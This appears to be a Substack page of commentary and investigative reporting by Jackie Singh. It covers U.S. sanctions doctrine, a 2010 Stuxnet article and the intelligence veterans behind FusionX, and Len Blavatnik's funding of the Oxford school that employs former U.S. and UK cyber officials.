
The argument cannot, however, rescue the principle of consent that the United States invokes against the ICC. If consent is the operative legal value, it is operative everywhere. American officials cannot be subject to a tribunal whose jurisdiction the United States has not accepted, fine; then Cuban officials, foreign bankers, and ICC judges should not be subject to American jurisdiction they have not accepted either. The position only coheres if you assume what it is supposed to prove: that some sovereigns are more sovereign than others, and that the United States stands at the top of the list because it has the power to put itself there.

The May 1 order quietly ratifies that position.

A government comfortable asserting near-universal authority where it holds structural power, in finance and trade, while denying that any other actor, court or treaty or multilateral body, may exercise comparable authority over Americans. Foreign ministries in U.S.-allied and non-aligned capitals alike have been saying so with growing volume: the rules-based order is, in practice, a power-based order with rules-based marketing.

A different approach would require concessions Washington has never been willing to make. It would mean accepting, in principle, that American and allied officials are not beyond the reach of international courts when alleged crimes occur on consenting territory. It would mean narrowing the emergency economic powers under which sanctions designations are made, with clearer standards and meaningful judicial review. It would mean acknowledging that secondary sanctions on third-country banks raise legal questions, not merely diplomatic ones.

None of that is on offer. Trump’s May 1 decree reinforces the working doctrine: jurisdiction that touches Americans or close allies is overreach, jurisdiction that ensnares foreigners is prerogative.

No one is fooled. The contradiction is visible to anyone outside Washington who cares to look — to allies, to adversaries, and increasingly to the central banks building payment systems that route around the dollar. American power as currently configured depends on the rest of the world choosing not to notice. The two signatures Trump put on EO 14203 and the May 1 order assume that choice will hold.

They are a poor wager on how long it will last.

Get more from Jackie Singh in the Substack app

Available for iOS and Android

Get the app

This is the story of a magazine article about a computer worm, a network of intelligence professionals who built companies around America’s critical infrastructure, and the months I spent inside one of those companies before being fired by a letter left in my mailbox. The connection between these threads is not that one caused the other, but that I was inside the second before I understood the first, and understanding the first is what eventually made the second make sense.

On the very first morning I reported to Accenture as a Senior Manager — newly hired to lead the FusionX team, one of the most respected red-teaming operations in American cybersecurity — co-founder Tom Parker stepped out of an elevator, strode through the glass doors, took one look at me, and said, “Who are YOU?” I gave my name and my title, and politely informed him I was a new hire starting that day. He grimaced, said nothing further, and walked away.

That was early June. By November of that same year, I would be terminated without cause by a letter mailed to my Manhattan apartment. In the intervening months, I had not been permitted to do the job I had been hired to do: lead a team of elite consultants to help solve the Fortune 500’s most pressing technical security concerns. A direct report who had followed me from a previous employer and I were assigned a single foreign financial client, taken off that job without explanation, and given nothing else. He has since confirmed this account. I was then placed on administrative leave, also without explanation — my equipment seized, my access revoked, and presence maintained just enough to be monitored while we were both excluded from everything of consequence.

I initially mentally framed what happened in common terms: I was the only dark-skinned woman in the group, and some of the hostility I encountered felt like it might have something to do with that. The cybersecurity industry has a well-documented problem with both racism and sexism, and I have been on the receiving end of both throughout my career. I spoke publicly about sexism and discrimination in the field after working on the Biden campaign in 2020. When the DerbyCon security conference shut down in 2019 after women and minorities raised concerns about harassment, the community blamed the people who spoke up — including me, just for having been quoted in the story.

What I experienced at FusionX was part of that broader pattern. But the deeper story, which I have reconstructed from public records, patent filings, corporate registrations, my own email inbox, and the documented career trajectories of the people involved, concerns what FusionX actually was, who controlled it, and the web of intelligence community veterans, oligarch capital, and privatized state power standing behind a company entrusted with the security architectures of U.S. government agencies and major multi-national corporations.

The Article That Knew Too Much

On October 5, 2010, Tablet Magazine published a brief essay on the Stuxnet worm, “Modern Warfare, Too” by Michael Tanji. The worm had recently been discovered infecting industrial control systems worldwide with a pronounced concentration in Iran. Tanji’s byline identified him as “a former supervisory intelligence officer who worked on information warfare issues at the Defense Intelligence Agency.” The article appeared in a curated “Web Wars!” series alongside a companion piece by Yossi Melman, the veteran Israeli intelligence correspondent for Haaretz, whose connections to the Mossad establishment are well documented. In 2020, Donald Trump elevated Melman’s account of the killing of the head of Iran’s nuclear program on Twitter.

Israeli journalist Shimon Aran, who served in the IDF’s Unit 8200, claimed to have notified Melman of the retweet, and that he was “very surprised..”

Melman’s article “Coded,” published in Tablet Magazine in October 2010, argued that Israel “may or may not” have been behind Stuxnet, and that it didn’t particularly matter. Tanji’s American-perspective article reached the same conclusion by a different route. On its surface, “Modern Warfare, Too” reads as competent analysis from a highly qualified commentator. Tanji correctly identified Stuxnet as targeting Siemens SCADA software, noted the worm’s sophistication, and speculated about Israeli involvement. When the article is mapped against what was publicly known in October 2010 and what would be confirmed months or years later, it is strikingly prescient.

The Symantec Stuxnet dossier, published in late September 2010, had concluded that “the ultimate target of Stuxnet remains unknown.” Ralph Langner, the German industrial control systems researcher who first speculated publicly that Natanz was the target, described his own assessment as “speculation.” The precise mechanism by which Stuxnet destroyed centrifuges by manipulating frequency converters manufactured by Fararo Paya and Vacon on Siemens S7-315 PLCs would not be confirmed until November 2010 at the earliest.

Joint U.S.-Israeli authorship under Operation Olympic Games was not reported until a New York Times piece in January 2011, and not fully confirmed until David Sanger’s June 2012 account. Kim Zetter's Countdown to Zero Day, the definitive account of Stuxnet's discovery and the operation behind it, provided much of the framework I used to verify what was and was not publicly established at each point in this timeline.

Tanji, writing in early October 2010, got the strategic picture almost perfectly right while remaining conspicuously vague on technical details.

He characterized Stuxnet as designed “not to kill, but simply to disorient: cyber tear gas.” Langner’s 2013 analysis, “To Kill a Centrifuge,” would confirm this framing years later, finding that the attackers “took great care to avoid catastrophic damage” and instead sought to induce early rotor failures that would be indistinguishable from routine engineering problems. He described digital weapons as “disposable sniper rifles, not cluster bombs,” a metaphor that reflects offensive cyber doctrine of the kind that has since become standard material at war colleges, but had no place in public discourse in 2010.

He observed that Stuxnet was “sophisticated enough, it is targeted enough, to make the sufficiently suspicious in Iran wonder if there is in fact not someone on the inside who has passed information.” In 2024, the Dutch newspaper De Volkskrant revealed that a recruited AIVD agent named Erik van Sabben had been the human penetration vector who physically introduced the malware into Iranian facilities. What Tanji had framed as speculation now reads more like a description of the actual effect.

He invoked Effects-Based Operations doctrine by name: “you don’t want to destroy the power plant, you just want to turn it off, because eventually you want the lights to come back.” At the time of that writing, no one outside a small circle of officials understood that this was the operational philosophy of Olympic Games. Each of these judgments was subsequently confirmed. None were established in the public record when Tanji wrote them down. All of them served the strategic communication interests of the operation’s sponsors.

In response to a request for comment from this publication, Tanji said that his article relied on no classified knowledge.

He said that he does not know Yossi Melman, and had not read Melman’s companion piece. He acknowledged maintaining “a decent sized network of friends and former colleagues with extensive experience in IW/CNO” (Information Warfare and Computer Network Operations) but said he has “no idea if any of them was involved with Stuxnet.”

While the article was remarkably prescient, the author says it was solely the product of publicly available analytic tradecraft.

The Author’s Credentials

Tanji was not a casual observer of cyber operations. His career placed him at the center of the American military cyber apparatus during its formative period. He began as a U.S. Army SIGINT analyst, served in Desert Storm, and moved through a succession of increasingly sensitive positions: intelligence specialist at U.S. Army Intelligence and Security Command (INSCOM), then the Defense Intelligence Agency, where from 1998 to 2004 he served as Supervisory Intelligence Officer in the Information Warfare Office within the Transnational Warfare Group. Profiles published by OODA Loop and CSO Online also place him at NSA and the National Reconnaissance Office.

At DIA, Tanji was selected as one of a “handful of intelligence officers selected by-name” to support the Joint Task Force for Computer Network Defense (JTF-CND), the direct precursor to U.S. Cyber Command. He represented DIA on National Security Council and National Intelligence Council cyber projects, deployed in a counterintelligence and HUMINT role during Operation Allied Force, and after September 11 created the Department of Defense’s first computer forensics and intelligence fusion team. He left government in 2005 and co-founded Kyrus Tech, which later partnered with Microsoft to disrupt the Zeus botnet. He is also listed as one of the co-founders of security firm Carbon Black.

In 2009, Tanji edited Threats in the Age of Obama, a compendium of national security essays published by Nimble Books. Among the twenty-one contributors were Matt Devost and Bob Gourley.

The Book and Its People

Bob Gourley was a Naval Intelligence officer who became the first Director of Intelligence (J2) at JTF-CND, the same organization Tanji had supported, and later served as Chief Technology Officer of the Defense Intelligence Agency, the same agency where Tanji had worked in the Information Warfare Office. After leaving government, Gourley co-founded OODA LLC with Matt Devost. His website CTOvision.com published approving coverage of Tanji’s work at Kyrus Tech.

Devost’s biography takes a different turn. He arrived at SAIC in 1995. By his own account, buried in keywords at the bottom of his LinkedIn resume, he directed the Coalition Vulnerability Assessment Team, supported the President’s Commission on Critical Infrastructure Protection and the Defense Science Board, served on the President’s National Security Telecommunications Advisory Committee, and provided support during the Solar Sunrise investigation — the 1998 Department of Defense cyber intrusion that directly led to the creation of JTF-CND. He was twenty-five years old.

In 1996, Devost co-founded the Terrorism Research Center and began operating from devost@terrorism.com. A 2004 USPTO trademark filing shows the organization attempting to register “TERRORISM.COM” from an office on North Fairfax Drive in Arlington, Virginia. The trademark was refused as “merely descriptive.” Today, terrorism.com redirects to the website of DEV Capital, Devost’s investment entity. At iDEFENSE, he built a cyber-intelligence operation serving Fortune 500 clients. At Security Design International, he ran penetration testing and vulnerability assessments against what he described as “every critical infrastructure segment.”

Then, in 2006, Erik Prince purchased Devost’s companies and merged them with the consulting group led by Cofer Black, the former Director of the CIA’s Counterterrorism Center, to create Total Intelligence Solutions. Devost became its president. Rob Richer, former CIA Associate Deputy Director of Operations, served as CEO. The Washington Post reported that Prince had “built Total Intel” from Devost’s firms.

Total Intelligence Solutions functioned as something akin to a privatized CIA: staffed with former senior Agency officers, capitalized by the Blackwater fortune, and selling intelligence services to governments and corporations alike. Devost ran its day-to-day operations with more than sixty employees.

Both Sides of the Table

In June 2010, Devost co-founded FusionX LLC with Tom Parker, a British cybersecurity expert who had presented with him at Black Hat on adversary characterization back in 2003. FusionX offered red-teaming, penetration testing, and cyber defense, promising that its “best in class technical assessment teams will target your information assets using the highly tailored tactics, techniques and procedures (TTP’s) of your most likely attackers.” Its clients included Fortune 500 companies and government agencies.

From March 2010 through April 2013, Devost simultaneously held an appointment as a Special Government Employee advising the Under Secretary of Defense for Policy, the Deputy Assistant Secretary of Defense for Cyber Policy, and “other senior leadership” on cyber strategy. This period encompassed the discovery of Stuxnet, the operational peak of Olympic Games, the achievement of full operational capability by U.S. Cyber Command, and the formulation of the country’s first comprehensive cyber strategy.

The dual position would have given Devost visibility into both the government’s offensive and defensive cyber posture and the vulnerability landscape of the private sector at the same time.

In 2015, Accenture acquired FusionX. Devost became a Managing Director leading Accenture’s Global Cyber Defense practice, while Parker took on global growth and strategy for Accenture Security’s 6,200-person organization, which generated more than $1.8 billion in annual revenue. Their access scaled accordingly. After both left Accenture, Parker served as Deputy CISO at AIG and then founded Hubble Technology, which was acquired by NetSPI/KKR in 2024.

As of early 2026, both Parker and Harvey work in IBM’s cybersecurity division.

The reporting that follows — on the Blavatnik-funded institution at the center of Devost’s public image, the WINTERMUTE patents, and the months I spent at Accenture’s FusionX before being terminated by mail — is available to paid subscribers.

Hacking, but Legal has no access to protect. Only readers. Paid subscribers are the reason this piece exists, and the reason the next one will.

Read more

She joined the Oxford Programme for Cyber and Technology Policy, known as OxCTP, which is co-directed by Ciaran Martin, the founding CEO of the United Kingdom’s National Cyber Security Centre, an operational cyber arm of GCHQ. Martin had joined the Blavatnik School as Professor of Practice in September 2020, the day after stepping down from his government role.

The two most recent leaders of civilian cyber defense in the United States and the United Kingdom now work in the same program, at the same school, under the same name. That name belongs to a Soviet-born billionaire whose business history, according to former senior Treasury sanctions officials, places him alongside sanctioned Russian oligarchs in every respect except his U.S. passport: Len Blavatnik.

That characterization is contested. Blavatnik’s representatives reject the oligarch label, and as this piece will discuss, several major news outlets have published corrections after using it. But in November 2020, two former senior U.S. government officials with direct sanctions expertise published an Atlantic Council report stating plainly that Blavatnik’s “funding can hardly be considered legitimate” and that he escapes sanctions only because he is a U.S. citizen.

There are reasons this convergence has gone unreported that have nothing to do with its importance. Blavatnik’s reputation apparatus — PR responses within hours of publication, legal letters, and corrections extracted from major outlets — makes writing about his network expensive. The facts are public; the cost of a single imprecise phrase is not. Institutional capture becomes invisible not because no one sees it, but because describing it carefully exceeds what most deadlines allow.

What follows is an accounting of what it means that the people the sanctions machinery could not touch are now funding the institutional home of the most senior Western cyber officials.

The Donor

Len Blavatnik was born in Odessa in 1957, when it was part of the Ukrainian Soviet Socialist Republic. His family moved to Yaroslavl, north of Moscow, where he attended the Moscow State University of Railway Engineering before emigrating to the United States in 1978. He earned a master’s in computer science from Columbia University and an MBA from Harvard Business School. In 1986, he founded Access Industries, the holding company through which he conducts most of his business operations, and which now controls Warner Music Group.

After the collapse of the Soviet Union, Blavatnik used Access Industries to acquire former state assets during Russia’s privatization era, accumulating shares in aluminum smelters and energy companies that became the foundation of his fortune. As of April 2026, Forbes estimates his net worth at $31.4 billion, making him the sixty-ninth richest person in the world. He holds dual American and British citizenship and was knighted by Queen Elizabeth II in 2017.

His early business partnerships are what counterintelligence professionals would focus on. This is not a matter of individual bad actors. As former Bush administration official Philip Zelikow and three co-authors argued in Foreign Affairs in mid-2020, the Kremlin has transformed corruption itself “into an instrument of national strategy,” a doctrine under which ostensibly private business relationships, philanthropic giving, and elite social access are tools of statecraft rather than peripheral side effects of it.

Blavatnik reportedly became close friends with Viktor Vekselberg at the Moscow State University of Railway Engineering. Together, they co-founded the Renova investment vehicle and accumulated stakes in Russian aluminum smelters. In 1997, Blavatnik’s Access Industries joined with Vekselberg’s Renova Group and Mikhail Fridman’s Alfa Group to form the AAR consortium, which acquired a 40% stake in Tyumen Oil Company (TNK) for $800 million. AAR later partnered with BP to form TNK-BP, one of the largest oil companies in Russia.

The venture was enormously profitable: when the state-owned Rosneft purchased AAR’s stake in 2013, the consortium received $28 billion in cash, having already collected $19 billion in dividends. Blavatnik was also a board member of Rusal, one of the world’s largest aluminum producers, from 2007 to 2016. The company was founded by Oleg Deripaska and controlled through his EN+ Group; Blavatnik held an indirect minority stake of approximately 8% through SUAL Partners (jointly with Vekselberg), which held ~22%.

Vekselberg was sanctioned by the U.S. Treasury in April 2018 under E.O. 13662 “for operating in the energy sector of the Russian Federation economy.” Deripaska was sanctioned “for having acted or purported to act for or on behalf of, directly or indirectly, a senior official of the Government of the Russian Federation” under E.O. 13661 and 13662.

Blavatnik himself has not been sanctioned by the United States or the United Kingdom, and his representatives have been aggressive in defending that distinction. Spokespersons for Access Industries have said repeatedly that he “hasn’t had any contact with president Vladimir Putin since 2000,” “plays no role in Russian politics,” and “is not Russian,” emphasizing that he has been an American citizen since the 1980s, was born in Soviet Ukraine, and holds dual U.S.–U.K. citizenship.

Despite this, in December 2023, Ukrainian President Volodymyr Zelensky signed a decree imposing sanctions on 51 individuals, Blavatnik among them. He remains off the U.S. OFAC Specially Designated Nationals list and the U.K. OFSI sanctions list, but the country of his birth has formally sanctioned him. Blavatnik’s fortune was built alongside and intertwined with individuals who have since been sanctioned, and his business history in post-Soviet Russia appears inseparable from the political economy of the oligarch era.

Two former senior Treasury and National Security Council officials made the same assessment explicitly in a 2020 Atlantic Council report on Russian dark money. Anders Åslund, a former economic adviser to the Russian government from 1991 to 1994, and Julia Friedlander, who served as Senior Policy Advisor for Europe in Treasury’s Office of Terrorism and Financial Intelligence during the period when Vekselberg and Deripaska were sanctioned, wrote that Blavatnik “became a naturalized US citizen in 1984” but “made his big money much later on in the Russian heavy industry, notably in TNK-BP, in partnership with Viktor Vekselberg, who was sanctioned by the US government as a Kremlin oligarch in April 2018.”

Their conclusion: “Blavatnik is a US citizen and cannot be sanctioned by the United States, but his funding can hardly be considered legitimate.” That sentence, written by someone who sat inside Treasury’s sanctions apparatus during the relevant period, is the clearest public statement from a former U.S. government official that the only thing separating Blavatnik from his sanctioned partners is his passport.

In 2019, Quartz published Panama Papers–based reporting describing an indirect business link between Blavatnik and a Russian Interior Ministry official. The connection ran through Amediateka, a Russian streaming company majority-owned by Access Industries, which had outsourced services to Nemo TV, a company in which Alexander Makhonov, then Russia’s Deputy Minister of Internal Affairs, held a stake via offshore entities.

Quartz was careful to note that “it’s unclear whether Blavatnik had any interaction with Makhonov” and that “there is no allegation of any illegality.” The relationship was a vendor arrangement between a subsidiary and a company part-owned by a Russian official, not a direct partnership — perhaps a meaningful distinction on paper, though one that still places a Russian Interior Ministry figure inside Blavatnik’s corporate supply chain during a period when his holdings remained deeply embedded in Russia.

Access Industries has described his donations as driven by a “pro-business, pro-Israel agenda” — a framing that is only partially borne out by the FEC record. Blavatnik’s political giving spans both American parties and multiple countries, but is bipartisan in name only. Between 2009 and 2014, his federal donations were modest and roughly balanced, peaking at $273,600 in the 2013–2014 cycle, according to FEC data compiled by the Dallas Morning News and Quartz.

Starting in 2015, his spending transformed: he poured at least $6.35 million into Republican committees and PACs during the 2015–2016 cycle with the overwhelming majority directed at the Senate GOP leadership and the PACs of presidential and Senate candidates. Mitch McConnell’s Senate Leadership Fund received roughly $2.5 million in that cycle and approximately $3.5 million total between 2015 and 2017, by far the largest single destination.

The McConnell donations sit alongside a sequence of events the Atlantic Council report describes as “public and legal” but impossible to ignore.

Blavatnik was a minority owner of Rusal when the Treasury Department sanctioned Rusal along with its controlling owners in April 2018. After what Åslund and Friedlander describe as “intense lobbying by Rusal” in a campaign led by Lord Gregory Barker, the new British CEO of Rusal’s parent company EN+, and including former Senator David Vitter of Louisiana, then at the lobbying firm Mercury Public Affairs, the Treasury lifted the sanctions against Rusal in January 2019. “Almost immediately afterward,” Åslund and Friedlander write, “Rusal committed to investing $200 million in a company in Kentucky, McConnell’s home state.”

McConnell led the Senate effort to block Chuck Schumer’s resolution of disapproval, which would have kept the Rusal sanctions in place. The resolution narrowly failed, 57-42, falling three votes short of the 60 needed to overcome a filibuster. Eleven Republicans crossed McConnell to vote with Democrats — including, notably, Marco Rubio, who had received $1.5 million in Blavatnik-connected contributions through his Conservative Solutions PAC and Florida First Project. Blavatnik’s donations did not purchase Rubio’s vote on this specific question. They appear, however, to have had a different effect on the Republican leadership: according to TIME magazine’s August 2019 investigation, two of the three votes needed to save the sanctions came from Kentucky’s own delegation: McConnell himself and junior Senator Rand Paul.

There is no public record of Blavatnik personally lobbying McConnell on the Rusal question; the documented relationship between them is financial. What is documented, through TIME’s reporting, is that Braidy Industries CEO Craig Bouchard met with a Rusal sales executive in Zurich in January 2019, while Rusal was still under U.S. sanctions, and was told: “If we get the sanctions off, let’s meet again.” The next day, McConnell blocked the Schumer resolution on the Senate floor. Ten days later, Treasury formally lifted the sanctions. Eleven weeks after that, Braidy and Rusal announced a $200 million partnership in Ashland, Kentucky. Senate Finance ranking member Ron Wyden opened an investigation in October 2019 asking whether the Braidy-Rusal discussions had taken place while sanctions were still in force. Bouchard never fully answered on the record.

McConnell told reporters in May 2019 that his position on Rusal was “completely unrelated to anything that might happen in my home state.” Michael McFaul, the former U.S. Ambassador to Russia under the Obama administration, told the Washington Post: “It is shocking how blatantly transactional this arrangement looks.” Heather Conley, a former Deputy Assistant Secretary of State under George W. Bush, put it more structurally in TIME:

The Kentucky mill was never built. Rusal ultimately invested approximately $65 million of its $200 million pledge before suspending further investment in March 2021. Braidy Industries was renamed Unity Aluminum, eventually merged with Steel Dynamics, and the mill project moved elsewhere. Kentucky recouped its $15 million taxpayer investment in September 2022, and the site was donated back to the regional industrial authority. The political function of the Rusal-Kentucky deal — the lifting of sanctions through the promise of American jobs — appears to have outlived its economic function by several years.

Beyond McConnell, Blavatnik’s Republican giving continued down the ticket: $1.1 million to Scott Walker’s PAC, $800,000 to Lindsey Graham’s PAC, $250,000 to John Kasich, and $200,000 to John McCain. Blavatnik then added $1 million to Donald Trump’s 2017 inaugural committee. His donations to Democrats over the same period to Kamala Harris, Chuck Schumer, Ron Wyden, Bob Menendez, and Hillary Clinton were described by Quartz as “relatively small sums” totaling in the low hundreds of thousands across multiple recipients. In the 2020 cycle, he gave $5,200 to Pete Buttigieg and $5,600 to Joe Biden.

Framing this as “bipartisan” would obscure a donation ratio of at least ten to one in favor of Republicans during the pivotal 2015–2017 period, concentrated in the hands of GOP leadership. The identities of the recipients, including the top foreign policy official in the United States government and the chairman of the Senate committee responsible for the federal budget blueprint, matter more now than they did when the donations were made.

Marco Rubio was confirmed as the 72nd Secretary of State on January 20, 2025 by a 99–0 Senate vote, and was sworn in the following day; since May 1, 2025, he has also served concurrently as acting National Security Advisor, the first person to hold both positions simultaneously since Henry Kissinger. Lindsey Graham was elected Chairman of the Senate Budget Committee for the 119th Congress on December 20, 2024, and has since used that chair to shepherd the FY 2025 budget resolution and the “One Big Beautiful Bill Act” through the Senate.

In 2024, the Washington Post reported that Blavatnik belonged to a WhatsApp group of powerful U.S. business leaders, whose stated goals included shifting public opinion in favor of Israel and coordinating with Israeli government officials after October 7th. Members discussed receiving private briefings from Israeli officials and pressuring Columbia University’s administration to permit police action against student protesters.

The Washington Post’s reporting drew pushback. NYC Deputy Mayor for Communications Fabien Levy, who is Jewish, called the framing “offensive” and “antisemitic” in a post on X:

None of this is secret; it is the documented financial and political biography of the man whose name is on the school where America’s and Britain’s top cyber officials now work. With that said, billionaires have deep pockets with which to handle legal and media matters. Blavatnik’s representatives have publicly rejected the “oligarch” label as “both highly inaccurate and offensive,” and major outlets including the Guardian and the Times of London have published formal corrections after describing him as a “Putin pal” or “Putin associate.”

His lawyer, Martin Singer, told Quartz in a December 2018 letter that Blavatnik had “zero” involvement in Russian politics.

Bloomberg wrote in May 2023 that “naturalized US citizen” Blavatnik had divested “his last major asset in the country where he seeded his fortune,” exiting a chapter that began with TNK-BP’s sale to Rosneft in 2013 and his departure from the Rusal board in 2016.

The Institutional Network

The Blavatnik philanthropic footprint across Western academic institutions is extraordinary in both scale and strategic positioning.

The Blavatnik School of Government at the University of Oxford was founded in 2010 with a £75 million donation from the Blavatnik Family Foundation, one of the largest gifts in Oxford’s nine-hundred-year history. The original donation came from “Len Blavatnik and a trust associated with him” per Oxford’s Council Regulations; the “Blavatnik Family Foundation” was formally incorporated as a 501(c)(3) later, though the Foundation’s website now claims the gift.

The university contributed an additional £26 million. The school’s purpose-built headquarters, designed by the famous Swiss architectural firm Herzog and de Meuron, was inaugurated by Prince William in 2016. It trains future government leaders through its Master of Public Policy program, hosts senior practitioners as visiting fellows, and conducts research on governance and public policy. It is, by design, a pipeline for the people who will run governments.

Oxford’s own governance regulations for the school are clear: Regulation 3 states “the academic direction and day-to-day management of the School shall be entirely and exclusively the responsibility of the University,” and Regulation 8 affirms Oxford’s “duty to preserve and protect the academic freedom of its academic staff.” But the same regulations contain a more unusual provision: the appointment of the Dean “shall be made by Council, with the approval in writing of the Blavatnik School of Government Foundation, such approval not to be unreasonably withheld.” The donor’s foundation holds a contractual say over who leads the institution. This arrangement is unusual in academic governance, where donor influence over senior appointments is typically resisted.

The Blavatnik Interdisciplinary Cyber Research Center (ICRC) at Tel Aviv University was established as a joint initiative with the Israel National Cyber Directorate under the Prime Minister’s Office. $65 million funded the entire “Blavatnik Initiative” at TAU — encompassing the ICRC in addition to a drug discovery center, computer science fund, and other programs. ICRC is led by Major General (Ret.) Isaac Ben-Israel, former Director of Defense R&D at Israel’s Ministry of Defense. The center hosts Cyber Week, one of the world’s largest cybersecurity conferences drawing over 11,000 attendees from 99 countries, and runs DefenseTech Week in collaboration with the Israeli Ministry of Defense.

Beyond these two cyber-specific institutions, the Blavatnik Foundation has donated at least $270 million to Harvard (including $200 million to Harvard Medical School, the largest gift in HMS history), roughly $75 million to Yale, and tens of millions more to Columbia, Stanford, Brown, the University of Pennsylvania, the University of Cambridge, the Royal Academy of Engineering, and the New York Academy of Sciences. The Blavatnik Family Foundation’s own website now reports contributions exceeding $1.3 billion to over 250 institutions.

The pattern is clear: Blavatnik’s money does not simply support academic research. It names buildings, names schools, names programs, and in the case of the Oxford school, grants contractual influence over leadership appointments. The institutions receiving this funding are the ones that train government officials, conduct cyber policy research, and host leaders who recently held some of the most sensitive civilian cyber defense positions in the Western alliance.

The Cyber Leadership Pipeline

The appointments at the Blavatnik School follow a pattern: government cyber leaders depart their positions and land at Oxford, where they receive academic prestige, a platform for continued policy influence, and proximity to the Blavatnik network, while simultaneously taking on private-sector roles.

Ciaran Martin stepped down as CEO of NCSC on August 31, 2020, and joined the Blavatnik School as Professor of Practice on September 1. He is the founding director of OxCTP, the cyber policy program Easterly later joined, which he now co-directs with Dr Brianna Rosen. Simultaneously, Martin serves as Managing Director at Paladin Capital Group, a venture capital firm investing in early-stage cybersecurity companies, and sits on the Global Advisory Board of CyberCX, Australia and New Zealand’s largest cybersecurity services provider. The Blavatnik academic appointment provides the credibility platform; the private-sector positions provide the commercial channel. The knowledge and relationships cultivated during four years running NCSC (and longer still in GCHQ’s cyber leadership) now flow through both.

Jen Easterly left CISA on January 20, 2025, when the Trump administration took office. Her career before CISA included service in NSA’s Tailored Access Operations, the agency’s elite offensive hacking unit; helping establish U.S. Cyber Command in 2009-2010; serving as Deputy for Counterterrorism at NSA; and over two years as Special Assistant to President Obama and Senior Director for Counterterrorism on the National Security Council. Between government stints, she spent more than four years at Morgan Stanley as global head of their cybersecurity fusion center. She is a West Point graduate and Rhodes Scholar who earned her Oxford master’s degree at Pembroke College.

In July 2025, Easterly was appointed to the Robert F. McDermott Distinguished Chair at West Point’s Department of Social Sciences. Less than 24 hours after far-right activist Laura Loomer criticized the appointment, Secretary of the Army Daniel Driscoll rescinded the offer, posted a public announcement on X, and ordered a review of hiring practices.

Easterly responded to the rescission, describing herself as a “casualty of casually manufactured outrage” and a victim of cynicism that “corrodes our institutions”.

The full statement is available on LinkedIn, but I quote from it here:

The same official who rescinded Easterly’s West Point appointment has since become one of the most consequential figures in U.S. national security.

In November 2025, President Trump tapped Driscoll (a Yale Law classmate of Vice President JD Vance with no prior diplomatic experience) to lead American negotiations to end the Russian war in Ukraine. Driscoll flew to Kyiv, then Geneva for talks alongside Rubio, Special Envoy Steve Witkoff, and Jared Kushner, then to Abu Dhabi for secret talks with a Russian delegation. The Army secretary is now the United States’ primary point of contact with the Russian government on the most consequential foreign policy question of Trump’s second term, working off a 28-point peace plan originally drafted behind closed doors by Witkoff and Kremlin envoy Kirill Dmitriev.

His own position, however, is reportedly fragile. The Washington Post reported on April 7, 2026 that Driscoll has been engaged in a months-long conflict with Defense Secretary Pete Hegseth over personnel decisions, including Hegseth’s attempts to block the promotions of four Army officers (two women, two Black) to one-star generals, and Hegseth’s forced retirement of Army Chief of Staff General Randy George in early April ahead of schedule. Driscoll told the Post he has “no plans to depart or resign as the Secretary of the Army” and remains “laser focused” on Army readiness, but sources told the paper that tensions ran high enough last fall that Driscoll asked Vance to intervene on his behalf.

The same political dynamic that ended Easterly’s West Point appointment — outrage cultivated on partisan media, personnel decisions driven by loyalty rather than credentials — is now operating at the top of the Pentagon itself against the man who executed the Easterly rescission. The difference is that Driscoll has Vance; Easterly did not.

Easterly’s Blavatnik School fellowship was announced the following month. This political exclusion from a traditional government-military academic role left the Blavatnik School as her primary institutional home, illustrating how private philanthropic institutions can become the only viable platform for elite experts who fall out of political favor in their home countries.

The convergence is now complete. The person who ran America’s civilian cyber defense and the person who ran Britain’s national cyber security center are working in the same program, at the same school, funded by the same individual, contributing to the same research and teaching on cyber policy.

The Structural Concern

The question this arrangement raises is not about the individual integrity of Easterly or Martin. Both are widely respected professionals with distinguished records of public service. There is no evidence that either has been compromised or that their work at the Blavatnik School is anything other than legitimate academic engagement.

The concern is structural, and it operates at four levels.

First, there is the question of institutional dependence. When a single donor’s foundation holds contractual approval over the Dean of a school of government, and that school becomes the preferred destination for the most senior Western cyber officials, the donor’s interests become ambient. They need not be expressed through directives or conditions. They are embedded in the architecture. The scholars and fellows at the school know who funds it. The institution’s continued prestige depends on continued funding. The donor’s political and financial interests, documented in public filings, news reporting, and his own statements, form the background against which all programming decisions are made.

Second, there is the question of knowledge concentration. Easterly and Martin collectively possess the most comprehensive understanding of U.S. and UK cyber defense capabilities, vulnerabilities, and strategic doctrines held by any two people outside of current government service. Easterly worked in Tailored Access Operations, helped build Cyber Command, ran counterterrorism at NSA, and directed CISA. Martin built and ran NCSC for four years. The classified knowledge they carry does not expire when they leave government. Housing both of them under the same institutional roof, funded by a single individual with documented connections to sanctioned Russian entities, creates a concentration of strategic knowledge in a space that is neither government nor private sector, and is subject to neither classification controls nor corporate compliance regimes.

Third, the Atlantic Council report explains why Blavatnik’s alleged personal innocence may be beside the point. Åslund and Friedlander describe a mechanism that applies to wealthy Russian-born businessmen even when they hold Western passports and live outside Russia: the richer they get, the more leverage the Kremlin has over them. Their assets sit in two places: Russia, which Putin controls directly, and the West, where Western sanctions can freeze them. The Kremlin can squeeze either end.

The Mueller Report documented exactly this dynamic playing out with one of Blavatnik’s original business partners. Petr Aven, head of Alfa-Bank and a partner in the 1997 AAR consortium that Blavatnik co-founded, told Mueller’s team that he met with Putin roughly every three months. Aven said he treated anything Putin raised in those meetings as an order, and that refusing would have consequences. The specific threat Putin made to Aven in late 2016, according to Mueller, was that the United States might sanction Alfa-Bank, and that Aven needed to do something about it. In other words: Putin was using the threat of American sanctions to pressure a Russian oligarch into doing the Kremlin’s bidding.

None of this means Blavatnik operates under the same pressure Aven does, but people with whom Blavatnik built his fortune are on the record in sworn federal investigations as people who take orders from Putin because they simply cannot afford not to. Blavatnik maintained financial relationships with some of them until as recently as 2022. Åslund and Friedlander describe this kind of Kremlin pressure on wealthy Russians as “standard procedure.” The question is not whether Blavatnik himself takes orders from Moscow. It is whether the people around him do, and what that proximity means for the institution funding Easterly and Martin’s shared academic home.

Fourth, there is the question of the three-country bridge. The Blavatnik institutional network now spans the United States, the United Kingdom, and Israel. Easterly’s career and Blavatnik’s donations to Harvard, Yale, and Columbia anchor the American node. The Oxford school and Martin’s appointment anchor the British node. The ICRC at Tel Aviv University, jointly operated with the Israeli Prime Minister’s Office, anchors the Israeli node. These three countries are among the most important intelligence-sharing partners in the Western alliance.

The structural implications of these questions extend far beyond any individual appointment.

The Precedent

In August 2017, Bo Rothstein resigned his position as Professor of Government and Public Policy at the Blavatnik School in protest over Blavatnik’s $1 million contribution to Donald Trump’s inaugural committee. “I cannot give legitimacy and credibility to a person who is supporting Donald Trump,” he wrote in his resignation letter to Oxford’s Vice Chancellor Louise Richardson.

